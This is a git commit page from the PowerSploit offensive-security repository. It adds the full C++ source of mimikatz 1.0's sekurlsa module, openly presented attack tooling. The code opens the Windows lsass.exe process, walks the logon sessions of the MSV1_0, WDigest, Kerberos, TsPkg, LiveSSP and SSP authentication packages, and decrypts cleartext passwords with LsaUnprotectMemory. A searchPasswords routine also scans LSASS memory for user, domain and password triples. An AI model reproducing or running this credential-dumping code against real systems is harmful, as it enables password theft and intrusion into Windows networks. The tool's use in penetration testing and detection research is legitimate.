aboutsummaryrefslogtreecommitdiff
path: root/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.cpp
diff options
context:
space:
mode:
authorMatt Graeber <mattgraeber@gmail.com>2013-10-01 14:29:34 -0700
committerMatt Graeber <mattgraeber@gmail.com>2013-10-01 14:29:34 -0700
commit6ad050fe7a54ae7c47fda4505043df8efd82bc2e (patch)
tree9c99d9aa042a4752991cfe8f0069c9a4823c8d42 /Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.cpp
parent23850a6337bf79d02f68912e49df12f3cde4a8dd (diff)
parent59cd18360764af6e6133ad11ec9cd8295372e587 (diff)
downloadPowerSploit-6ad050fe7a54ae7c47fda4505043df8efd82bc2e.tar.gz
PowerSploit-6ad050fe7a54ae7c47fda4505043df8efd82bc2e.zip
Merge pull request #15 from clymb3r/master
Adding GitIgnore, adding Invoke-NinjaCopy and Invoke-Mimikatz
Diffstat (limited to 'Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.cpp')
-rw-r--r--Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.cpp348
1 files changed, 348 insertions, 0 deletions
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.cpp
new file mode 100644
index 0000000..d8832bc
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.cpp
@@ -0,0 +1,348 @@
+/* Benjamin DELPY `gentilkiwi`
+http://blog.gentilkiwi.com
+benjamin@gentilkiwi.com
+Licence : http://creativecommons.org/licenses/by/3.0/fr/
+Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_mimikatz_sekurlsa.h"
+#include "..\global.h"
+HMODULE mod_mimikatz_sekurlsa::hLsaSrv = NULL;
+HANDLE mod_mimikatz_sekurlsa::hLSASS = NULL;
+mod_process::KIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa::localLSASRV, *mod_mimikatz_sekurlsa::pModLSASRV = NULL;
+PLSA_SECPKG_FUNCTION_TABLE mod_mimikatz_sekurlsa::SeckPkgFunctionTable = NULL;
+
+bool mod_mimikatz_sekurlsa::lsassOK = false;
+vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> mod_mimikatz_sekurlsa::GLOB_ALL_Providers;
+vector<mod_mimikatz_sekurlsa::KIWI_MODULE_PKG_LSA> mod_mimikatz_sekurlsa::mesModules;
+
+vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_sekurlsa::getMimiKatzCommands()
+{
+ vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_msv1_0::getMSV, L"msv", L"énumère les sessions courantes du provider MSV1_0"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_wdigest::getWDigest, L"wdigest", L"énumère les sessions courantes du provider WDigest"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_kerberos::getKerberos, L"kerberos",L"énumère les sessions courantes du provider Kerberos"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_tspkg::getTsPkg, L"tspkg", L"énumère les sessions courantes du provider TsPkg"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_livessp::getLiveSSP, L"livessp", L"énumère les sessions courantes du provider LiveSSP"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_ssp::getSSP, L"ssp", L"énumère les sessions courantes du provider SSP (msv1_0)"));
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(getLogonPasswords, L"logonPasswords", L"énumère les sessions courantes des providers disponibles"));
+
+ monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(searchPasswords, L"searchPasswords", L"rechere directement dans les segments mémoire de LSASS des mots de passes"));
+ return monVector;
+}
+
+bool mod_mimikatz_sekurlsa::getLogonPasswords(vector<wstring> * arguments)
+{
+ if(searchLSASSDatas())
+ getLogonData(arguments, &GLOB_ALL_Providers);
+ else
+ (*outputStream) << L"Données LSASS en erreur" << endl;
+ return true;
+}
+
+bool mod_mimikatz_sekurlsa::loadLsaSrv()
+{
+ if(!hLsaSrv)
+ hLsaSrv = LoadLibrary(L"lsasrv");
+
+ if(mesModules.empty())
+ {
+ mesModules.push_back(KIWI_MODULE_PKG_LSA(L"lsasrv.dll", L"msv1_0", mod_mimikatz_sekurlsa_msv1_0::getMSVLogonData, &pModLSASRV));
+ mesModules.push_back(KIWI_MODULE_PKG_LSA(L"tspkg.dll", L"tspkg", mod_mimikatz_sekurlsa_tspkg::getTsPkgLogonData, &mod_mimikatz_sekurlsa_tspkg::pModTSPKG));
+ mesModules.push_back(KIWI_MODULE_PKG_LSA(L"wdigest.dll", L"wdigest", mod_mimikatz_sekurlsa_wdigest::getWDigestLogonData, &mod_mimikatz_sekurlsa_wdigest::pModWDIGEST));
+ mesModules.push_back(KIWI_MODULE_PKG_LSA(L"kerberos.dll", L"kerberos", mod_mimikatz_sekurlsa_kerberos::getKerberosLogonData, &mod_mimikatz_sekurlsa_kerberos::pModKERBEROS));
+ mesModules.push_back(KIWI_MODULE_PKG_LSA(L"msv1_0.dll", L"ssp", mod_mimikatz_sekurlsa_ssp::getSSPLogonData, &mod_mimikatz_sekurlsa_ssp::pModMSV));
+ if(mod_system::GLOB_Version.dwBuildNumber >= 8000)
+ mesModules.push_back(KIWI_MODULE_PKG_LSA(L"livessp.dll",L"livessp", mod_mimikatz_sekurlsa_livessp::getLiveSSPLogonData, &mod_mimikatz_sekurlsa_livessp::pModLIVESSP));
+ }
+ return (hLsaSrv != NULL);
+}
+
+bool mod_mimikatz_sekurlsa::unloadLsaSrv()
+{
+ for(vector<KIWI_MODULE_PKG_LSA>::iterator testModule = mesModules.begin(); testModule != mesModules.end(); testModule++)
+ if(*testModule->pModuleEntry)
+ delete *testModule->pModuleEntry;
+
+ if(mod_system::GLOB_Version.dwMajorVersion < 6)
+ mod_mimikatz_sekurlsa_keys_nt5::uninitLSASSData();
+ else
+ mod_mimikatz_sekurlsa_keys_nt6::uninitLSASSData();
+
+ if(hLSASS)
+ CloseHandle(hLSASS);
+ if(hLsaSrv)
+ FreeLibrary(hLsaSrv);
+
+ return true;
+}
+
+bool mod_mimikatz_sekurlsa::searchLSASSDatas()
+{
+ if(!lsassOK)
+ {
+ if(!hLSASS)
+ {
+ mod_process::KIWI_PROCESSENTRY32 monProcess;
+ wstring processName = L"lsass.exe";
+ if(mod_process::getUniqueForName(&monProcess, &processName))
+ {
+ if(hLSASS = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, false, monProcess.th32ProcessID))
+ {
+ vector<mod_process::KIWI_VERY_BASIC_MODULEENTRY> monVecteurModules;
+ if(mod_process::getVeryBasicModulesListForProcess(&monVecteurModules, hLSASS))
+ {
+ for(vector<mod_process::KIWI_VERY_BASIC_MODULEENTRY>::iterator leModule = monVecteurModules.begin(); leModule != monVecteurModules.end(); leModule++)
+ {
+ for(vector<KIWI_MODULE_PKG_LSA>::iterator testModule = mesModules.begin(); testModule != mesModules.end(); testModule++)
+ {
+ if((_wcsicmp(leModule->szModule.c_str(), testModule->moduleName) == 0) && !(*testModule->pModuleEntry))
+ {
+ GLOB_ALL_Providers.push_back(make_pair<PFN_ENUM_BY_LUID, wstring>(testModule->enumFunc, testModule->simpleName/*wstring(L"msv1_0")*/));
+ *testModule->pModuleEntry = new mod_process::KIWI_VERY_BASIC_MODULEENTRY(*leModule);
+ break;
+ }
+ }
+ }
+ } else {
+ (*outputStream) << L"mod_process::getVeryBasicModulesListForProcess : " << mod_system::getWinError() << endl;
+ CloseHandle(hLSASS);
+ hLSASS = NULL;
+ }
+ } else (*outputStream) << L"OpenProcess : " << mod_system::getWinError() << endl;
+ } else (*outputStream) << L"mod_process::getUniqueForName : " << mod_system::getWinError() << endl;
+ }
+
+ if(hLSASS)
+ {
+ MODULEINFO mesInfos;
+ if(GetModuleInformation(GetCurrentProcess(), hLsaSrv, &mesInfos, sizeof(MODULEINFO)))
+ {
+ localLSASRV.modBaseAddr = reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
+ localLSASRV.modBaseSize = mesInfos.SizeOfImage;
+
+ if(!SeckPkgFunctionTable)
+ {
+ struct {PVOID LsaIRegisterNotification; PVOID LsaICancelNotification;} extractPkgFunctionTable = {GetProcAddress(hLsaSrv, "LsaIRegisterNotification"), GetProcAddress(hLsaSrv, "LsaICancelNotification")};
+ if(extractPkgFunctionTable.LsaIRegisterNotification && extractPkgFunctionTable.LsaICancelNotification)
+ mod_memory::genericPatternSearch(reinterpret_cast<PBYTE *>(&SeckPkgFunctionTable), L"lsasrv", reinterpret_cast<PBYTE>(&extractPkgFunctionTable), sizeof(extractPkgFunctionTable), - FIELD_OFFSET(LSA_SECPKG_FUNCTION_TABLE, RegisterNotification), NULL, true, true);
+ }
+
+ lsassOK = (mod_system::GLOB_Version.dwMajorVersion < 6) ? mod_mimikatz_sekurlsa_keys_nt5::searchAndInitLSASSData() : mod_mimikatz_sekurlsa_keys_nt6::searchAndInitLSASSData();
+ }
+ }
+ }
+ return lsassOK;
+}
+
+PLIST_ENTRY mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(PLIST_ENTRY pSecurityStruct, unsigned long LUIDoffset, PLUID luidToFind)
+{
+ PLIST_ENTRY resultat = NULL;
+ BYTE * monBuffer = new BYTE[LUIDoffset + sizeof(LUID)];
+ PLIST_ENTRY pStruct = NULL;
+ if(mod_memory::readMemory(pSecurityStruct, &pStruct, sizeof(pStruct), hLSASS))
+ {
+ while(pStruct != pSecurityStruct)
+ {
+ if(mod_memory::readMemory(pStruct, monBuffer, LUIDoffset + sizeof(LUID), hLSASS))
+ {
+ if(RtlEqualLuid(luidToFind, reinterpret_cast<PLUID>(reinterpret_cast<PBYTE>(monBuffer) + LUIDoffset)))
+ {
+ resultat = pStruct;
+ break;
+ }
+ } else break;
+ pStruct = reinterpret_cast<PLIST_ENTRY>(monBuffer)->Flink;
+ }
+ }
+ delete [] monBuffer;
+ return resultat;
+}
+
+PVOID mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind)
+{
+ PVOID resultat = NULL;
+ RTL_AVL_TABLE maTable;
+ if(mod_memory::readMemory(pTable, &maTable, sizeof(RTL_AVL_TABLE), hLSASS))
+ resultat = getPtrFromAVLByLuidRec(reinterpret_cast<PRTL_AVL_TABLE>(maTable.BalancedRoot.RightChild), LUIDoffset, luidToFind);
+ return resultat;
+}
+
+PVOID mod_mimikatz_sekurlsa::getPtrFromAVLByLuidRec(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind)
+{
+ PVOID resultat = NULL;
+ RTL_AVL_TABLE maTable;
+ if(mod_memory::readMemory(pTable, &maTable, sizeof(RTL_AVL_TABLE), hLSASS))
+ {
+ if(maTable.OrderedPointer)
+ {
+ BYTE * monBuffer = new BYTE[LUIDoffset + sizeof(LUID)];
+ if(mod_memory::readMemory(maTable.OrderedPointer, monBuffer, LUIDoffset + sizeof(LUID), hLSASS))
+ {
+ if(RtlEqualLuid(luidToFind, reinterpret_cast<PLUID>(reinterpret_cast<PBYTE>(monBuffer) + LUIDoffset)))
+ resultat = maTable.OrderedPointer;
+ }
+ delete [] monBuffer;
+ }
+
+ if(!resultat && maTable.BalancedRoot.LeftChild)
+ resultat = getPtrFromAVLByLuidRec(reinterpret_cast<PRTL_AVL_TABLE>(maTable.BalancedRoot.LeftChild), LUIDoffset, luidToFind);
+ if(!resultat && maTable.BalancedRoot.RightChild)
+ resultat = getPtrFromAVLByLuidRec(reinterpret_cast<PRTL_AVL_TABLE>(maTable.BalancedRoot.RightChild), LUIDoffset, luidToFind);
+ }
+ return resultat;
+}
+
+void mod_mimikatz_sekurlsa::genericCredsToStream(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, bool justSecurity, bool isDomainFirst, PDWORD pos)
+{
+ if(mesCreds)
+ {
+ if(mesCreds->Password.Buffer || mesCreds->UserName.Buffer || mesCreds->Domaine.Buffer)
+ {
+ wstring userName = mod_process::getUnicodeStringOfProcess(&mesCreds->UserName, hLSASS);
+ wstring domainName = mod_process::getUnicodeStringOfProcess(&mesCreds->Domaine, hLSASS);
+ wstring password = mod_process::getUnicodeStringOfProcess(&mesCreds->Password, hLSASS, SeckPkgFunctionTable->LsaUnprotectMemory);
+ wstring rUserName = (isDomainFirst ? domainName : userName);
+ wstring rDomainName = (isDomainFirst ? userName : domainName);
+
+ if(justSecurity)
+ {
+ if(!pos)
+ (*outputStream) << password;
+ else
+ (*outputStream) << endl <<
+ L"\t [" << *pos << L"] { " << rUserName << L" ; " << rDomainName << L" ; " << password << L" }";
+ }
+ else
+ {
+ if(!pos)
+ (*outputStream) << endl <<
+ L"\t * Utilisateur : " << rUserName << endl <<
+ L"\t * Domaine : " << rDomainName << endl <<
+ L"\t * Mot de passe : " << password;
+ else
+ (*outputStream) << endl <<
+ L"\t * [" << *pos << L"] Utilisateur : " << rUserName << endl <<
+ L"\t Domaine : " << rDomainName << endl <<
+ L"\t Mot de passe : " << password;
+ }
+ }
+ } else (*outputStream) << L"n.t. (LUID KO)";
+}
+
+bool mod_mimikatz_sekurlsa::getLogonData(vector<wstring> * mesArguments, vector<pair<PFN_ENUM_BY_LUID, wstring>> * mesProviders)
+{
+ PLUID sessions;
+ ULONG count;
+
+ if (NT_SUCCESS(LsaEnumerateLogonSessions(&count, &sessions)))
+ {
+ for (ULONG i = 0; i < count ; i++)
+ {
+ PSECURITY_LOGON_SESSION_DATA sessionData = NULL;
+ if(NT_SUCCESS(LsaGetLogonSessionData(&sessions[i], &sessionData)))
+ {
+ if(sessionData->LogonType != Network)
+ {
+ (*outputStream) << endl <<
+ L"Authentification Id : " << sessions[i].HighPart << L";" << sessions[i].LowPart << endl <<
+ L"Package d\'authentification : " << mod_text::stringOfSTRING(sessionData->AuthenticationPackage) << endl <<
+ L"Utilisateur principal : " << mod_text::stringOfSTRING(sessionData->UserName) << endl <<
+ L"Domaine d\'authentification : " << mod_text::stringOfSTRING(sessionData->LogonDomain) << endl;
+
+ for(vector<pair<PFN_ENUM_BY_LUID, wstring>>::iterator monProvider = mesProviders->begin(); monProvider != mesProviders->end(); monProvider++)
+ {
+ (*outputStream) << L'\t' << monProvider->second << (mesArguments->empty() ? (L" :") : (L"")) << L'\t';
+ monProvider->first(&sessions[i], mesArguments->empty());
+ (*outputStream) << endl;
+ }
+ }
+ LsaFreeReturnBuffer(sessionData);
+ }
+ else (*outputStream) << L"Erreur : Impossible d\'obtenir les données de session" << endl;
+ }
+ LsaFreeReturnBuffer(sessions);
+ }
+ else (*outputStream) << L"Erreur : Impossible d\'énumerer les sessions courantes" << endl;
+
+ return true;
+}
+
+bool mod_mimikatz_sekurlsa::ressembleString(PUNICODE_STRING maChaine, wstring * dstChaine, BYTE **buffer)
+{
+ bool resultat = false;
+ BYTE * monBuffer = NULL;
+ PBYTE * leBuffer = buffer ? buffer : &monBuffer;
+ if(mod_process::getUnicodeStringOfProcess(maChaine, leBuffer, hLSASS))
+ {
+ int flags = IS_TEXT_UNICODE_ODD_LENGTH | IS_TEXT_UNICODE_STATISTICS;
+ if(resultat = (IsTextUnicode(*leBuffer, maChaine->Length, &flags) != 0))
+ {
+ if(dstChaine)
+ dstChaine->assign(reinterpret_cast<const wchar_t *>(*leBuffer), maChaine->Length / sizeof(wchar_t));
+ }
+ }
+ if(monBuffer)
+ delete[] monBuffer;
+ return resultat;
+}
+
+bool mod_mimikatz_sekurlsa::searchPasswords(vector<wstring> * arguments)
+{
+ if(searchLSASSDatas())
+ {
+ if(PNT_QUERY_SYSTEM_INFORMATION NtQuerySystemInformation = reinterpret_cast<PNT_QUERY_SYSTEM_INFORMATION>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation")))
+ {
+#ifdef _M_X64
+ PBYTE MmSystemRangeStart = reinterpret_cast<PBYTE>(0xffff080000000000);
+#elif defined _M_IX86
+ PBYTE MmSystemRangeStart = reinterpret_cast<PBYTE>(0x80000000);
+#endif
+ ULONG maTaille = 0;
+ NtQuerySystemInformation(KIWI_SystemMmSystemRangeStart, &MmSystemRangeStart, sizeof(PBYTE), &maTaille);
+
+ DWORD nbPossible = 0;
+ for(PBYTE pMemoire = 0; pMemoire < MmSystemRangeStart ; )
+ {
+ MEMORY_BASIC_INFORMATION mesInfos;
+ if(VirtualQueryEx(hLSASS, pMemoire, &mesInfos, sizeof(MEMORY_BASIC_INFORMATION)) > 0)
+ {
+ if((mesInfos.Protect & PAGE_READWRITE) && !(mesInfos.Protect & PAGE_GUARD) && (mesInfos.Type == MEM_PRIVATE))
+ {
+ UNICODE_STRING donnees[3];
+ for(PBYTE pZone = reinterpret_cast<PBYTE>(mesInfos.BaseAddress); pZone < (reinterpret_cast<PBYTE>(mesInfos.BaseAddress) + mesInfos.RegionSize - 3*sizeof(UNICODE_STRING)); pZone += sizeof(DWORD))
+ {
+ if(mod_memory::readMemory(pZone, donnees, 3*sizeof(UNICODE_STRING), hLSASS))
+ {
+ if(
+ (donnees[0].Length && !((donnees[0].Length & 1) || (donnees[0].MaximumLength & 1)) && (donnees[0].Length < sizeof(wchar_t)*0xff) && (donnees[0].Length <= donnees[0].MaximumLength) && donnees[0].Buffer) &&
+ (donnees[1].Length && !((donnees[1].Length & 1) || (donnees[1].MaximumLength & 1)) && (donnees[1].Length < sizeof(wchar_t)*0xff) && (donnees[1].Length <= donnees[1].MaximumLength) && donnees[1].Buffer) &&
+ (donnees[2].Length && !((donnees[2].Length & 1) || (donnees[2].MaximumLength & 1)) && (donnees[2].Length < sizeof(wchar_t)*0xff) && (donnees[2].Length <= donnees[2].MaximumLength) && donnees[2].Buffer)
+ )
+ {
+ wstring user, domain, password;
+ BYTE * bPassword = NULL;
+ if(ressembleString(&donnees[0], &user) && ressembleString(&donnees[1], &domain) && !ressembleString(&donnees[2], NULL, &bPassword))
+ {
+ if(bPassword)
+ {
+ mod_mimikatz_sekurlsa::SeckPkgFunctionTable->LsaUnprotectMemory(bPassword, donnees[2].MaximumLength);
+ password.assign(mod_text::stringOrHex(bPassword, donnees[2].Length, 0, false));
+ }
+ (*outputStream) << L"[" << nbPossible++ << L"] { " << user << L" ; " << domain << L" ; " << password << L" }" << endl;
+ }
+
+ if(bPassword)
+ delete[] bPassword;
+ }
+ }
+ }
+ }
+ pMemoire += mesInfos.RegionSize;
+ }
+ else break;
+ }
+ }
+ }
+ else (*outputStream) << L"Données LSASS en erreur" << endl;
+ return true;
+} \ No newline at end of file